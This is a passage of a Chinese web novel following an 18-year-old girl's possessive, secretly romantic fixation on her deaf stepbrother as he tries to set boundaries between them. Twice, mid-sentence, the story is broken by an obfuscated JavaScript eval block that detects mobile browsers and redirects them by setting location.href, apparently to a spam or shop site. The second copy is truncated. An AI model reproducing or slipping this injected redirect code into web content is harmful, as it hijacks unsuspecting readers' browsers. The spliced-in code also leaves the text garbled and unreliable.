谭溪久久没有听到回答,在心里自顾自的默认喜欢这个答案,她好难过,她想自己是不是应该收起对哥哥的不轨之心。 他有了喜欢的人,那个人也喜欢他,他们会结婚吗? 会的吧。 她沉浸在自己的胡思乱想中,好久,听到谭禹认真的回答。 “开始一段感情的契机也可以不是爱情。” 过往十几年的生活让他对家庭同样向往,但母亲的遭遇又让他对太浓烈的感情敬谢不敏。他习惯于用理性来思考问题,而非感性,人被情绪操控会做出很多失智的行为,而他不喜欢失控。 廖景怡是个很合适的人选,她足够成熟和理性,跟这样的人交往,是一件很高效的事情,他们会有话直说,不用费尽心思去猜对方在想什么。 他告诉过廖景怡自己的想法,她依然接受。 谭溪听到,并理解了这句话。 他不喜欢廖景怡?可又要和她谈恋爱! 谭溪在手机上控诉他:“哥哥,这不对!没有爱情怎么能叫谈恋爱呢,这不公平,对你,对景怡姐都不公平,你不可以这样。” 谭禹第一次被妹妹纠正过错,但他不觉得冒犯,而是思考起‘公平’这个词。 虽然明确告诉过廖景怡他的想法,可明知廖景怡对他有好感还是应下了接触,在某种程度是不是给了她莫须有的期待,或许廖景怡是在赌呢? 他和廖景怡之间的天平从一开始就是倾斜的。 “你说的有道理,小溪,我会重新考虑我跟廖景怡之间的关系。”谭禹从妹妹身上得出这个有意义的结论,这促使他重新思考。 谭溪悄悄地开心了一瞬,觉得自己整晚的郁闷都烟消云散了,她又打字给谭禹看:“哥哥有了喜欢的人,可以第一时间告诉我吗?” 谭禹应下妹妹这个并不无理的要求,对大人的事情感到好奇,是小孩子的通病。 电梯到楼下,谭溪看到开着的大门和放在门口的奶茶,感到惊讶,没关门啊... 谭禹弯腰拿起饮品,把其中一杯递给谭溪:“全糖加珍珠,能让我家小溪心情好点吗。” 她刚刚明明就什么都没点...是哥哥点的,那锁门也是他捏造出来想要跟她独处的吗? 谭溪不用问,心里就有答案。 那种甜丝丝的感觉又一次的包裹着她的心脏,谭溪拎着奶茶,倚着谭禹的胳膊乞求:“哥哥,不要喜欢别人,只喜欢我,好吗。” 廖景怡的出现让她明白,不管出于什么原因,谭禹迟早会跟别人共度余生,届时她要收起自己所有不清白的心思,规规矩矩的把谭禹摆在哥哥的位置上。 可她不想这样,谭溪想要完全占据他,不管是妹妹,还是恋人,她都要做谭禹的唯一。 叙旧结束了,她要加快脚步,得到他。 8. 听不见 送走所有的客人已经是很晚,谭禹的同事知道他的性格,他们在走之前共同收拾了餐桌,并带走垃圾。 屋子再次恢复寂静,谭溪洗完澡出来,看到的就是谭禹靠着椅子昏睡的模样。 在她靠近前,电脑屏幕恰好熄灭,屏蔽所有的内容。 谭溪踩着很轻的步子,倚着桌边,肆无忌惮的打量他的睡颜。 如果谭禹睁开眼睛,就能看到妹妹眼里对他浓烈到不加掩饰的占有和渴望,那种眼神像极了在暗处窥伺猎物已久的食肉动物,绝不会出在他自认为的、纯净的如同白纸一样的妹妹身上。 谭溪的视线扫过谭禹的眼睛,他的睫毛好长,像两把扇子,又黑又密,一点都不卷翘,在眼下低垂着,扫出淡淡的阴影。 好想亲亲他的睫毛啊。 视线向下,又看到他的嘴唇,很薄的两片,颜色也很淡,甚至有点发白。 人们常说嘴唇薄的男人薄情,可谭溪想这在谭禹身上是不成立的,哥哥是最重感情、最长情的人。 她和妈妈加入这个家的第一天,哥哥就真心实意的接纳她们,转眼十几年,这份感情丝毫没变过。 目光换了个角度,落到他的侧脸,谭溪惊讶地发现,他的嘴唇竟然是微微上翘的,这不就是在明目张胆的勾引别人跟他接吻吗,也太犯规了。 她情不自禁的挪动着脚步,一点一点的,磨到他身边。 他的呼吸平稳而绵长,谭溪俯下身子,下巴几乎快要贴在谭禹的脸上,她颤着手指,抚摸上那瓣唇,触感冰凉,她的内心热的发燥。 这件事她想很久了。 普通的追人模式不可能发生在她和谭禹身上,无论她怎么对谭禹好,他都会理所当然的归结于兄妹之情。 可身体接触不一样,这天底下没有一个妹妹会亲吻哥哥的嘴唇,会想方设法的睡哥哥,谭禹会明白她的用意。 谭溪打算先熟悉熟悉,等到谭禹恢复的那天,一举拿下他。届时就算是她用了不光彩的手段,谭禹也只能吃下这个哑巴亏。 如果没有喜欢的人,那就一辈子喜欢她好了。 想明白这点,谭溪几乎没有犹豫,就撩起头发,弯腰,朝着那两片嘴唇进攻。 呼吸洒在谭禹的脸上,她的心怦怦直跳,真的、真的就要这样吻上去了吗? 咫尺远近,触手可得,那张好看的嘴唇却忽然动了。 谭溪睁大眼睛,被吓到原地弹射,蹭的一下抱膝蹲在地上,脸上尽是对他冒犯未遂的惊恐。 哥哥看到了?哥哥发现了?怎么能这个时候发现啊她还没做好准备.... 谭溪像只鹌鹑一样蹲在地上好久,屋内寂静,她动动耳朵,只听到他含糊不清的说:“李舟..不..” 原来是在说梦话... 谭溪抱着一颗惊魂未定的心,从地上站起来,重新看向谭禹。 随着梦话的出现,他脸上的表情也变了,眉心紧紧皱着,好似在为什么事烦忧。谭溪心疼坏了,她暂时放下亲吻哥哥这个想法,转而抚平他眉心的褶皱。 谭禹睁开眼睛,血丝如同蛛网在他眼底蔓延。他对谭溪的到来感到点点惊讶,目光瞥过谭溪湿润的发梢,他心下明了,怕是又懒了:“哥哥帮你吹头发。” 他动作自然的拉过谭溪的手腕,将她带到洗漱间的镜子前,拿出吹风机,站在谭溪身后,手指随着轰鸣声在发丝间穿插。 面前的洗漱镜照出兄妹二人的神态。谭溪的眼睛藏在凌乱的头发里,肆无忌惮的打量着镜子里的一切。 她站前面,哥哥在后。 谭禹肩膀宽阔,高大的身躯完全将她笼罩在身前,抬起的手臂绷直发紧,勾勒出流畅的肌肉走向,缕缕发丝缠绕在手指间,没头没尾,好似永远也不会割断。 他的手臂很结实,一只比得上她一对。就是这双有力的胳膊,在她小的时候,一次又一次的抱着、背着她。 谭溪的懒病很早就初见端倪,小时候放学,如果是谭禹去接,她一定是要赖在哥哥身上被他背回家的。她欺软怕硬,谭爸和妈妈来接,就不敢这样,只有对哥哥才有这么多无理的要求。 归根结底,是被谭禹惯的。 “哥哥..你身材很好…你知道的吧…”谭溪滚动喉咙感慨,无论是那张俘获人心的俊脸,还是结实有力的肌肉,谭禹全身上下的每一处,她都喜欢。 贴在衣服下摆的手,一点点的爬上他的手臂,触及到他温热的胳膊,上面有紧致的肌肉和粗粝的汗毛,更有藏在里面的坚硬的骨骼。 胳膊被她的手掌缠住,谭禹把吹风机拿远一些,附在谭溪耳边,抬高音量:“烫到了?” 他问的很大声,扑出来的呼吸直直的打在谭溪的耳朵上,她只觉耳边的肌肤酥麻,身上的每一个毛孔都在战栗,半边身子都要软掉。 他还在等一个答案,谭溪指指脑袋,摆了摆手,意思是不吹了。 轰鸣的吹风声停下,洗漱间变得安静。 谭溪在镜子里看到哥哥用两只手掌感受头发的湿度,确认头皮那一层完全干燥后,他才收起吹风机。 接着又用梳子轻柔的从头顶梳到发尾,他手里拿的是谭溪的气垫梳,小小一只被他握在手里,有点滑稽。 哥哥梳头发的动作也很认真,像在处理什么很重要的工作,谭溪看的心软软。 “为什么要把头发拉直?”谭禹清理着卡在梳子齿缝里的直发,忽然开口问。 他印象中的谭溪一直都是个炸毛小姑娘,老实说,这次见到她的第一眼,谭禹为她的变化感到惊讶,他险些认不出她。他第一次觉得发型对一个人的影响竟然这么大。 眼下没有手机,谭溪弓着身子在玻璃上哈气,又用指头在薄雾上写字:“不好看吗?” 谭禹被这孩子气的举动逗笑,揉着她的脑袋称赞:“好看。” 不管头发是曲是直,谭溪都是他心里最可爱的妹妹。 谭溪笑了,脸颊两侧的小雀斑也跟着雀跃起来,她有点不好意思的看着镜子里的谭禹说:“我爸爸是自来卷,但我小时候的头发一直都是直的,我以为自己遗传妈妈。可是自从成为你妹妹的那天起,头发就跟我一样,开心的打起弯。” 六岁那年的某一天,她的身上发生了一件很神奇的事情,头发在淋雨后,竟然打起了卷,她正要拉着妈妈说这个神奇的发现,抬头就看到哥哥站在她面前。 他蹲下来,平视着小小的她,说:“小溪,我是谭禹。” 谭溪不再好奇为什 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指尖上的滚动逗笑谭禹,他严肃的面孔有一瞬间瓦解:“是想让我看你吞口水?不是刚吃过饭吗,又饿了?” 她馋的可不是饭啊... 哥哥握着她的命门,谭溪不敢畅所欲言,她把自己的手盖在谭禹手上,微微用力下压,说的很慢。 她说:“哥哥,我的头发跟我一样,喜欢你哦。” 跟谭禹比起来,谭溪的手小得多,谭禹记得妹妹小时候常常要用整只手掌握住他的两根指头,就算是现在长大,也大不了多少。 他反拉住谭溪的手,也学她的样子在镜子上哈气。 镜面上出现一片白茫茫,他打开谭溪的手掌,带着手腕压上去,有她指纹脉络的手印出现在镜子上,接着他又随意的将自己的手印压在旁边。 一大一小,两只手印摆在一起,好像在牵手,又好像在比大小。 他很少流露出幼稚的一面,为数不多的几次都献给了妹妹,谭溪总有种魔力,谁跟她待在一起都会变得心情愉悦,然后做出一些充满童趣的傻事。 谭溪看着并列着的两个手印,做出一个令谭禹意料之外的举动。 她又一次的,把手印在上面,不过这次是直接顺着谭禹的手印,把自己的手完全的包裹在他的手印之中。 两个手印交融、缠绵、密不可分。 谭溪这才感到满意。 而谭禹则想到从前,他陪谭溪在海边玩沙子,他们也像今天这样,把手掌印在沙滩上,谭溪现在的举动跟当年一模一样。 妹妹的调皮刻在骨子里,十几年如一日,她好像永远学不会什么叫规矩和秩序。 以前的谭禹对此感到无奈,可如今,看着水渍交融,完全分不清你我的两个手印,他心里却冒出一种,奇怪而矛盾的感觉。 他隐约觉得,哪里不一样了,可又无法找到原因。看不清的薄纱笼罩在他的眼前,正如同原本清晰的玻璃被热气侵袭后变得朦胧,字迹和手印被淌下来的水迹一点点吞噬。 模糊的镜前,是他如珍如宝的妹妹。 她好像没变,又好像变了。 9. 听不见 “你哥哥的耳朵怎么样?有恢复一些吗?”电话那边,方燕如在殷切的问个不停,谭爸虽然没有露脸,但谭溪看到他的胳膊一直放在屏幕的最侧边,他也同样关心谭禹的病情。 谭溪遗憾的摇头,如实告诉他们:“没有,哥哥的耳朵还是什么都听不到。” “哎..我们托人问过了,这种压力性的失聪只是暂时性的,说不定哪天就恢复了,小溪你懂事一些,别惹你哥哥生气,趁着最近温度不高,带你哥哥出去放松一下心情,不过出门可千万记得要看好他,千万别跟他走丢了。”方燕如向来絮叨,事关出门游玩更是要叮嘱个不停。 谭溪捂住耳朵无奈叹息:“知道了知道了,妈妈我知道了。” 电话打到这里,谭禹从卧室出来,坐到谭溪身边,顺手接过手机。 方燕如见到他,露出心疼的笑:“小禹,你耳朵怎么样啦…哎呀我真是糊涂,忘记你现在听不到了...小溪小溪,你给你哥哥写字看呐...” 谭溪哦了一声,捞过桌子上的纸跟笔,借用哥哥的后背当靠板,盘着腿在沙发上当翻译。 方燕如问,除了耳朵以外,还有没有别的地方不舒服。 谭禹轻笑着说没有。 方燕如又问,有没有去找个专家好好看看? 谭禹点头。 方燕如问的都是些很琐碎的小事,还有家常里短,谭溪听得耳朵生茧,但谭禹却很耐心的回答每一个问题。 等方燕如第二次重复之前问过的某一个问题后,谭溪开始使坏,胡作非为的翻译起来。 她在纸上写,出门在外,有没有想家。 谭禹愣了一下,从嗓子里闷出一声,有想家。 方燕如没察觉出异常,只当他是真的在诉说思念,其实她有些激动,因为谭禹向来寡言,这种情绪外露的话他很少说。 谭溪又写,想家为什么不回家。 谭禹似乎在思考,看了眼谭溪审视的目光,移开目光,回答:“工作的确很忙。” 谭溪又写,那你还喜欢小溪... 这句话没写完,被对面的方燕如发现端倪,她冲着谭溪嚷嚷:“你是不是捣乱了,我怎么觉得你哥哥答的驴唇不对马嘴呢!” 谭溪冲着方燕如做鬼脸,快速划掉那句没写完的话后,又写,妈妈要我带你出去玩,你想要去哪? 谭禹没有给出明确的回答,而是对谭溪说:“你想去哪我就去哪。” 谭溪眼睫一颤,手上的黑笔悄然滑落,墨水顺着笔的尖端浸湿沙发,在上面留下拇指大小的痕迹,尽管谭溪已经及时采取措施,但还是不可避免的弄脏了沙发。 她用愧疚的眼神看向谭禹,她知道,哥哥最爱惜东西,并有严重洁癖。 谭禹只是叹口气,像小时候无数次为谭溪收拾烂摊子一样,说:“别担心,我来处理。” 眼看着视频这边的兄妹在说话,方燕如带着谭宽在那边喊:“小溪,不聊了,我跟你谭爸还有货要处理,下个月我们抽空过去看你们,记得照顾好你哥哥啊!” 他们在挥手,谭禹明白对话结束了,于是也轻轻的扬起手掌,眼睛不经意的滑过谭宽沉默的脸庞,父子二人隔着屏幕对视,谭禹看到父亲那抹卡顿在页面上的笑容。 视频是结束了,但谭溪却犯了毛病,趴在哥哥的后背上玩起写字游戏,她要谭禹弯下腰,把背脊崩的更直,这样写出来的字才不会软塌塌。 这种看上去很幼稚的行为是妹妹能做出来的,谭禹只能照做,任劳任怨的弯下腰,短袖的下摆滑上去,露出一截白皙结实的后腰,两侧的腰身很细,是带着力量感的纤细,能透过皮肤看到里面蓄势待发的肌肉。 谭溪没忍住吞了下口水,她极力压制着自己想要摸上一把的冲动,在哥哥面前,她越来越像个变态,不知廉耻的渴望哥哥的一切。 不,这是谭禹的错,是他在引诱她。 谭溪压下激动,手掌压着纸张的末端在哥哥背上写字,她先写哥哥的名字。 谭禹,这个和她仅有一字之差的名字。 从前是她挂在嘴边的哥哥,后来成了她不可言说的秘密,数不清多少次的出现在她走神时的书本上、草纸上,还有日记里。 哥哥的名字,她就算闭着眼睛,就算有一天失去所有的记忆,肌肉的本能记忆也会带着她书写下去。 她的本意是想写一些哥哥平平安安,健康如意之类的祝福语,但后来手腕不听使唤的在纸上写下不堪入目的词汇。 好喜欢哥哥,好想亲哥哥,好想亲亲哥哥的身体.. 这词太露骨,她写的时候甚至不敢用力,只能用笔在纸上描出浅浅的轮廓。 谭溪的耳尖悄悄红透,她用另一只手握住手腕,阻止自己再疯下去。 自我矛盾之际,手腕忽然被哥哥翻上来的手抓住,谭禹发出不咸不淡的抗议:“小溪,我的腰要断了。 谭溪哦了一声,把纸叠好认真的收在口袋里。 谭禹的目光掠过那张被叠的很工整,像藏宝一样踹在口袋里的纸,又看着谭溪垂下去的嘴角,心下浮过一阵了然,他的妹妹,还真是一点没变。 但让她又一次的质疑,何尝不是他这个做哥哥的失职? “你小时候,看到哥哥跟别的小孩说话,就会凶巴巴的把别人赶走,臭着一张脸说这是我的哥哥,你不许跟他讲话。怎么都十八岁了,还是跟小时候一样霸道。” 谭禹脸上出现回忆的神色,他记得那是十年前,谭溪刚刚改姓,他们一家四口一起去海洋馆。他在海洋馆门口被一个小男孩搭话,话没说两句,谭溪就用手指扒着眼睛下面的皮肤,吐着舌头,做小恶魔的样子把人家吓走,并且要求谭禹只能做她一个人的哥哥。 妹妹看着人畜无害,其实骨子里是个占有欲很强的小孩,这点谭禹明白,所以在他感受到谭溪在纸上写‘还喜不喜欢小溪’的时候,就明白妹妹在不开心。 是三年的时间让谭溪以为他们兄妹之间有隔阂了吗,还是他和谭溪保持距离的方式太生硬,让她感到不安,感到爱在消失? 面对这种情况,哥哥要做的就只有用肯定的回答告诉她,哥哥很喜欢你,且只喜欢你。 让妹妹感到不安,是他的错,是他随着年龄的增长,无法再像小时候那样,将对妹妹的喜爱挂在口头上,而谭溪恰恰又是个需要你又说又做的人。 “小溪,我们三年没见,你变了很多,我也是。但哥哥对你的爱无论什么时候都不会改变。” 谭禹很少,很少情绪外露,不管是年少,还是现在,他所有直白的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17174727|196892||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 表述大概都给了谭溪,因为跟别人比起来,妹妹是如此特殊,需要最特别的对待。 谭溪被这几个字震撼到,他怎么能这样呢?他这种纵容,只会让谭溪深陷泥沼中永远无法脱身,她会停止挣扎,心甘情愿溺死在他的爱里。 哥哥是在鼓励她,鼓励她继续做下去。 谭溪颤颤的,拉住他的手,放在自己曾经发出过无数次哥哥的部位。 她说:“你也永远是我的最爱。” 她巧妙的掩去哥哥两个字,让哥哥误以为那是对兄妹之情的回应,可实际上只有谭溪最清楚,兄妹之情的底色,是她对哥哥的男女之爱。 谭禹露出很浅的笑,手指微微陷在她的脖子上。 话题又扯到谭宽和方燕如身上,谭禹说是方姨的出现,让他们这个家变得完整,记得父子俩独自生活的时候,那根本算不上过日子。 话说到这,他似乎找到肯定自己观念的佐证。 “方姨和爸爸就是因为合适才走到一起的,这么多年不也平稳的过着生活吗,所以,合适也可以成为维持一段稳定关系的基础。” 不管他是单纯的想要证明自己的观点还是要提起廖景怡,这都让谭溪感到很不爽,她捂住谭禹的嘴巴,打字飞快。 “哥哥不会一直以为妈妈和谭爸是因为合适才在一起的吧。” 谭禹拨开妹妹的手,反问:“难道不是?” 他多年来对这点一直深信不疑。 “当然不是啊,他们是因为相爱才走到一起的,我四岁的时候就已经见过谭爸啦,那个时候他天天都来给妈妈送花,还有礼物,总之样样不落。” “所以说啊,哥哥你不要觉得合适才能长久,没有爱情做根基,哪来的合适呢,一定要很爱一个人才能跟她谈恋爱。” 谭禹难以想象,那个跟自己如出一辙的父亲追起人来会是什么样子,可他知道自己这么多年来的想法是错误的,他现在也找不到例子来证明自己的观点。 看着占据上风,得意的尾巴都翘起来的妹妹,谭禹微微眯起眼睛,用手捏住她的脸颊:“好,我认输,你说得对,展开一段关系的前提,是爱情。” 谭溪嘿嘿一笑,得寸进尺的对他做要求:“那你和景怡姐还有继续下去的必要吗?” 谭禹不用思索就知道答案,他会跟廖景怡道歉,并且结束跟她的接触。可这事关别人的隐私,跟谭溪说总归不太合适,于是他没有正面回答:“这你就别操心了。” 这在谭溪听来就是糊弄,她很生气,思路越想越歪,她愤怒打出一行字:“难道你还是要跟景怡姐继续下去,难道那些话都是骗我的?哥哥,你明明说了只喜欢我。” 最独特的爱是谭禹给的,他绝不能再给第二个人,哥哥是她的,谭禹也是。 谭禹的目光停留在最后几个字,他想谭溪没有搞清楚两个关系的区别,只能跟她解释:“这是两码事。你和廖景怡,对我来说是完全不同的人。” 一个是妹妹一个是潜在发展对象吗? 谭溪看着谭禹那张面无表情的脸,火气全都冒出来,她一把拍掉谭禹的手,光着脚从沙发上蹦下去,一股脑的跑进屋子里,把门狠狠关上。 谭禹坐在原地,后知后觉的意识到一件事,她生气了?可为什么呢。 10. 听不见 兄妹二人不说话的下午,谭禹在心里想了很多,想她生气的原因,最后落定到妹妹依然在因为他和廖景怡之间的事而生气,或者说是吃醋。 这无关男女,即使是男孩,谭溪也会这样极端。她把谭禹当做自己的所有物,不容许任何人沾染。 谭禹忍不住想,妹妹对他的占有是否已经过界?他的纵容是否又太过?无论是心理还是肢体,谭溪对他都太过依赖。 同在屋檐下的这段时间,她总把自己腻在他身上,恨不得每时每刻跟他贴在一起,不合时宜、不论尺度,谭禹清楚地知道这样并不好,但又总想弥补自己那三年的缺席,一番矛盾下,默许她的行为。 可写在身份证上的年龄让谭禹无法自欺欺人,她已经是个成年人,不是什么都不懂的小朋友,应该具备独立思考的能力,更应该树立边界感。 他觉得自己有必要跟妹妹谈谈兄妹间的界限,以及谭溪跟自己相处时的尺度。 谈话要有谈话的态度,至少要把人先哄住,晚上谭禹亲自下厨做了谭溪喜欢的菜品。 他很久没下厨,本以为厨艺会就此生疏,可身体的肌肉记忆还是让他熟练完成四菜一汤。他所有做菜的本领都是为了服务谭溪挑剔的胃口,周末、假期,大人不在家,都是他来照顾谭溪。 做好这一切,他扣响谭溪的房门。三声过后,无人应答,谭禹以为她还在生气,只好推门进去,只是这次推门他谨慎了许多。 门打开一道窄缝后,再被全部推开。 想象中的负气包没有出现,看到的只有被子下隆起的小山丘,走近去瞧,谭溪在抱着枕头熟睡,嘴角有浅浅的水痕。 谭禹无奈的同时觉得可笑,他荒废工作,整个下午都在进行激烈的思想辩论,可妹妹竟能做到毫无芥蒂的熟睡。 他开始怀疑自己是在庸人自扰。 或许谭溪只是把他当做一个亲密的玩伴,一旦这个玩伴有了要跟别人说话的迹象,她就要霸道赶走任何可能和她抢夺玩伴的潜在敌人。 至于男女之别更是无稽之谈,他在谭溪眼中压根没有性别。 擦掉她唇边的痕迹,手指拂过额间的碎发,谭禹低声叫她:“小溪,起来吃饭。” 谭溪迷迷糊糊睁开眼睛,看到梦里的人竟然就在眼前,还以为梦没醒,她下意识的伸手圈住他的脖子,带到自己怀中,接着是不间断的吻,小鸡啄米似的落在他的脖颈,连蹭带亲的擦过谭禹的每一寸皮肤。 谭禹措不及防,竟然生生被她带倒,双手撑在她身体的两侧,和她交颈而卧,但更让他感到战栗的是脖子上的触感,果冻一样软嫩的嘴唇贴在他的大动脉,吻落下的频率跟心跳同频。 谭溪到底在干什么?做梦吗? 他撑着手臂起身,拉开和妹妹之间的距离。 拉扯的过程中谭溪也彻底的清醒,她十分清楚自己刚才都做了些什么,可她非但不悔改,反而没有餍足。 哥哥的味道好好闻,皮肤也透着雪松的冷香,此时此刻,她的嘴巴上一定都是哥哥的味道吧。 想想就觉得开心。 她用那双无辜的眼睛看向谭禹,一眨一眨,眼中没有半点儿悔过之意。 谭禹心中警铃大振,他后撤一步,从床上起来,留下一句出来吃饭,就先行离开。 只留谭溪歪着脑袋看着他的背影深思,哥哥生气了吗?他怎么反应那么大?可她又不是故意的啊,谁让哥哥凑得那么近,她把持不住不是很正常吗。 餐桌前,兄妹二人在吃饭,谭溪吃掉最后一块糖醋排骨,对谭禹竖起大拇指:“哥哥,你做的糖醋排骨最最最好吃!” 她用了很夸张的修饰词来称赞谭禹的排骨,这让谭禹即将说出口的话又生生咽回去。 他在犹豫,因为一旦说出口,妹妹以后面对他时,或许就会畏首畏尾,届时他们之间可能会存在隔阂。 可是他又想起那个带着睡意的吻和完全过界的行径。 不能再这样下去,谭禹下定决心。 他放下筷子,坐直身体,目光略带严肃:“小溪,今天上午你是因为我和廖景怡的事情闹脾气吗?” 谭溪起初的确误以为谭禹还要和廖景怡继续下去,但她又静下心来仔细想想,谭禹已经改变了想法,他一定不会再继续。 是她太着急,才会那么激动。 这事儿已经翻篇了,她不清楚他为什么要突然说这些,可谭禹既然问了,她也只能诚实回答,于是打字给他看。 “是因为你用模糊不清的话糊弄我才生气的。但是我现在已经不生气了。” 她展示给哥哥看的同时,又对他眯着眼睛笑,仿佛在炫耀自己的乖巧。 谭禹微微前倾,狭长而疏冷的眼睛很认真的看着她:“可是小溪,就算不是廖景怡,也会是别人。我的生活里会出现很多的人,他们构成我所有的社会关系,你是我的妹妹,你占有的部分是我的亲情,而非全部。” 他摆出谈话的姿态,这让谭溪的笑容僵在脸上,像戴着一副皮笑肉不笑的假面,看上去十分怪异,她嘴角下撇,眼眶里盈满泪光。 “我听不懂你在说什么。” “我只有作为你哥哥时,才是只属于你的,你能明白我的意思吗。”谭禹换了一种简单点儿的说法,试图让她理解每个人都有既定的位置。 谭溪的眼泪已经顺着脸颊流下来,谭禹静静地看着她,没有说话,眼神冷静到极致,好像在对妹妹的眼泪视而不见。 可他放在桌子下的手却用力到泛白,他应该为妹妹擦去眼泪的,可是,不能是现在。如果他现在为妹妹擦泪,那刚才做的一切都会功亏一篑,他们会继续绕回到那种模糊界限的糊涂关系中。 谭溪咬着嘴唇,不让自己啜泣出声,低头打字的同时轻声呢喃:“可在我的心里,你就是我的全部,那你为什么不能把我也当做你的全部呢。” 但她手上却写:“我明白了,哥哥以后会跟别人谈恋爱,妹妹只有在哥哥是哥哥的时候才能有占有欲。” 谭禹看着这句话,感到欣慰,谭溪能明白,并理解他的用意,这很好。他缓慢松开手,可看着谭溪的下一句话,手又重新握紧。 谭溪写:“那哥哥会插手我谈恋爱吗,无论我想跟任何人谈?”她甚至不知死活的举例子:“长相帅气但成绩糟糕的小混混,名列前茅却脾气暴躁的阴暗男,或者是身无所长的普通人。” 谭禹看着这些话,久久没有回答,已知的答案在他心里盘旋不下。 他做不到。 妹妹从小到大的一切都是他经手操办,让他无动于衷的看着她和一个并不怎样的人谈恋爱,他做不到,他觉得谭溪应该找一个能够照顾她一切的男人,至少要做到跟他差不多的程度。 “哥哥自己都做不到对我弃之不顾,又凭什么要求我对你保持界限。我的要求很过分吗,哥哥的感情生活不该告诉我吗?” 谭溪巧妙地偷换了概念,把自己对谭禹的占有和谭禹对她的负责,混淆在一起。 谭禹的内心已然掀起波澜,可盯着谭溪的眼睛还是维持着极致的平静,他没有回答这个问题,而是继续坚持自己的冷硬。 “别打马虎眼,这是两码事。还有,你十八岁了,是个成年人,尽管我们是兄妹,但也要注意相处时的分寸。我们可以拥抱,但不该是在你衣衫不整的情况下,我们可以轻吻,但要有理由,比如庆贺一件喜事,或者在对方难过时给予安慰。” 谭溪肢体上对他的亲密是不争的事实,要割裂开谭溪对他的心理依恋,至少要从身体 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“小溪,重点在于这些动作发生的前提条件,而不是动作本身。拥抱代表安慰,轻吻表示亲昵,可这些如果没有缘由的,时时刻刻都在发生,那不是兄妹。” 他终于在窒息中看到一条路,拥抱、亲吻都没错,错的是这些动作发生时的情绪,如果只是兄妹之间的亲昵,那完全没有问题。 本来就是这样,他刚才怎么会被谭溪的话牵走,又怎么会感到恐慌。 谭溪双臂交叠放在桌子上,下巴压在上面,歪着脑袋盯着谭禹看,把他没有说完的那句补充完整:“那是什么。” “是远超兄妹界限的关系,是绝对不会发生在我们之间的关系。” 谭禹坚定的话让谭溪感到绝望,她找不到角度来诡辩,顶着哥哥灼灼的目光,她不敢再言说半个字,只能扯起嘴角,打字来附和他。 “哥哥说得对,是我没有分寸,哥哥放心,以后不会再这样了。” 听她这样回答,谭禹感到宽心,又有些许的庆幸,妹妹能想清楚这些,是件再好不过的事,至少他不用一遍又一遍的捏着自己的心上上下下。 饭后她窝在沙发上看那档综艺节目,跟着里面的嘉宾发出阵阵笑声,谭禹站在厨房洗碗,高大的身子伫立着,像静默的树。 水在一刻不停的流动,可谭禹手上的动作却是静止的。 他只是在触摸到软勺的瞬间,回想起方才被妹妹吻住时自己陡然乱掉的心跳,那不该出现在他身上。他也不能在听到拥抱接吻,就感到惊恐,家人之间发生这些,有什么好害怕的? 不管是八岁还是十八岁,谭溪永远都是妹妹。 他闭上眼睛,冲去碗筷上成堆的泡沫。 那只是错觉。 11. 听不见 谭禹开始践行自己那天说过的话,刻意地跟妹妹保持距离。 譬如在共同收看节目的时候,他不会再纵容谭溪黏在他身上这种行为,又譬如,会明令禁止她不许穿着单衣出现在客厅。 可那些早就养成的习惯和纵容却是改不了的,谭溪犯懒不想做的事全都由他代劳,谭溪想要的任何东西他都会提供。 谭溪觉得他好矛盾,一边把她推开,一边又毫无底线地纵容她,她有点搞不懂谭禹到底在想什么。 谭禹本人倒是乐在其中,他在心里严格划分可以和不可以的界限,并要求妹妹同样恪守。 这样做的效果显著,谭禹觉得那些隐约失控的东西又重新回到他的掌握之中,他完全可以心如止水的跟谭溪相处,不再为自己的慌神感到心烦意乱。 谭溪很不开心,谭禹此举,无异于是在阻止她的进展,她的完美计划还没开始实施就被扼杀在摇篮里。 烦躁和渴望在她的心底灼烧,她常常看着哥哥冷峻的侧脸感到口干舌燥,生出一种吻上去的冲动,但每次偷偷摸摸的靠近,都会被谭禹抓到,接着一本正经的把她送回去。 谭溪很烦,又一次被推开后气的原地生闷气,自己坐着嘀嘀咕咕的吐槽他:“哥哥真是双标,你抱我的时候我有哪一次拒绝过你?让我在你同学面前说你是世界上最好的哥哥的时候怎么不赶我走?出席我的家长会,警告班上的男生不许给我写情书的时候怎么不赶我走.....” 反正谭禹听不到,她就胆大包天的开始翻旧账,一页又一页,直到翻到记忆的初始点,他们成为兄妹的那天,谭溪不再抱怨,而是充满感激和怀念:“不过就算这样,你也是我最爱的哥哥,没关系,我不会怪你的。” 谭禹瞧着她的嘴巴又张合半天,配上脸上生动的表情,简直比综艺节目里主持人们的搞怪造型还逗人,他没忍住抿了下唇角,低头掩去笑意。 谭溪瞪大眼睛飞扑到他的身边,打字飞快:“哥哥你笑什么?” 谭禹伸出两根手指,把她歪掉的身子推正,又恢复到一本正经:“没笑什么。你是不是要出成绩?” 算算日子,高考结束到现在也有半个月了,他记得一般就是这个时候。 谭溪点点头:“25号凌晨。”说完这句,她双手交叉做祈祷状,目光虔诚:“老天保佑我考个好成绩。” 谭禹没听到,但通过她的动作不难猜出妹妹在做什么,隐去的笑意又一次浮现在唇边,他对谭溪的行为只有两个字的评价:“迷信。” 口吻里充满唯物主义者的冷漠和理智。 说完他从沙发上起身,回去换了身衣服,对谭溪说:“我出去一趟,很快回来。” 之前也有过公司同事来送文件的情况,谭溪叮嘱一句路上小心,继续在她手机上做法求高分。 谭禹无奈的摇头,关门离开。 他约了廖景怡在附近的咖啡馆,打算跟她聊聊。 两人相对而坐,廖景怡把从公司捎来的文件推给谭禹,并打字问他。 “我听朋友推荐了一家陶艺馆,如果你在家待得无聊,一起去玩玩?” 她邀约的姿态落落大方,谭禹欣赏这样的异性,但欣赏不是喜欢。 